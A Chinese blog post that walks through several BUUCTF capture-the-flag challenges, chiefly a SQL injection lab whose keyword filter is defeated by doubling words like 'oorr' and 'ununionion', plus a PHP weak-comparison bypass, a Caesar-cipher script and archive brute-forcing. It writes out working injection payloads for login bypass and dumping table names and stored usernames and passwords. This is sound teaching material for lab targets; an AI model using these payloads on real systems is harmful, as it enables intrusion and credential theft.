> 文章列表 > BUUCTF-sql双写绕过

BUUCTF-sql双写绕过

BUUCTF-sql双写绕过

WEB

[极客大挑战 2019]BabySQL

打开环境 查看什么类型

输入

输入1'
username='1''&password='1''

字符型

我们开始尝试万能密码

1' or 1=1-- +

 

发现返回的东西和我们输入不一样  or没了

过滤了or 

这个是关键 我们使用双写绕过

1' oorr 1=1-- +

 得到了账号密码

我们开始sql注入

1. 字段数username=admin&password=''1' order by 4-- +''

 发现or 过滤了 我们看看

1' oorrder by 4-- +

还是报错 我们接着看看是不是过滤了 by 因为如果过滤了der 他会返回or

1' oorrder bbyy 4-- +

成功了 三个字段

我们开始爆破数据库

0' union select 1,2,database()-- +    报错'1,2,database()-- '0' ununion select 1,2,database()-- +   报错'un 1,2,database()-- ''0' ununionion seselectlect 1,2,database()-- +

得到数据库名 geek

开始爆表

0' ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek'-- +经过尝试 union select  or from where 都过滤了 

开始爆数据

0' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'-- +0' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'-- +

都是返回这些名

0' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd)frfromom geek.b4bsql-- +

得到flag

[ACTF2020 新生赛]BackupFile

打开环境

让我们找源文件 

我们想到

index.php.bak

下载成功

我们得到备份文件

<?php
include_once "flag.php";if(isset($_GET['key'])) {$key = $_GET['key'];if(!is_numeric($key)) {exit("Just num!");}$key = intval($key);$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";if($key == $str) {echo $flag;}
}
else {echo "Try to find out source file!";
}

这里就得到绕过两个 一个是is_numeric() 另一个是==

!is_numeric():
如果为数字或者数字字符串 True
如果不是 返回 false
!0=1
所以我们需要这个是数字或者数字字符串==
'123a'==123 True

这样就很简单了

key=123123为数字 所以
!is_numeric() 绕过因为==弱比较
所以123=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 true

得到flag

Crypto

Alice与Bob

 http://www.jsons.cn/quality/

 合并

101999966233

CTF在线工具-哈希计算|MD5、SHA1、SHA256、SHA384、SHA512、RIPEMD、RIPEMD160

进行MD5计算

 大帝的密码武器

下载得到题目和密文 意思就是让我们解密题目 然后取得偏移量 然后在加密密文

str1 = 'FRPHEVGL'
str2 = str1.lower()
num = 1
for i in range(26):print("{:<2d}".format(num),end = ' ')for j in str2:if(ord(j)+num > ord('z')):print(chr(ord(j)+num-26),end='')else:print(chr(ord(j)+num),end='')num += 1print('')

使用代码取得26次的解密

偏移量为13 的时候得到单词 

我们把密文加密 偏移量为13

提交flag

Misc

ningen

改后缀 为zip

暴力破解

小明的保险箱

同理

爱因斯坦

下载文件 查看属性

 提到password 说明加密

我们改后缀

 没有提示 只有刚刚的那个not password 试一试

得到flag

早知网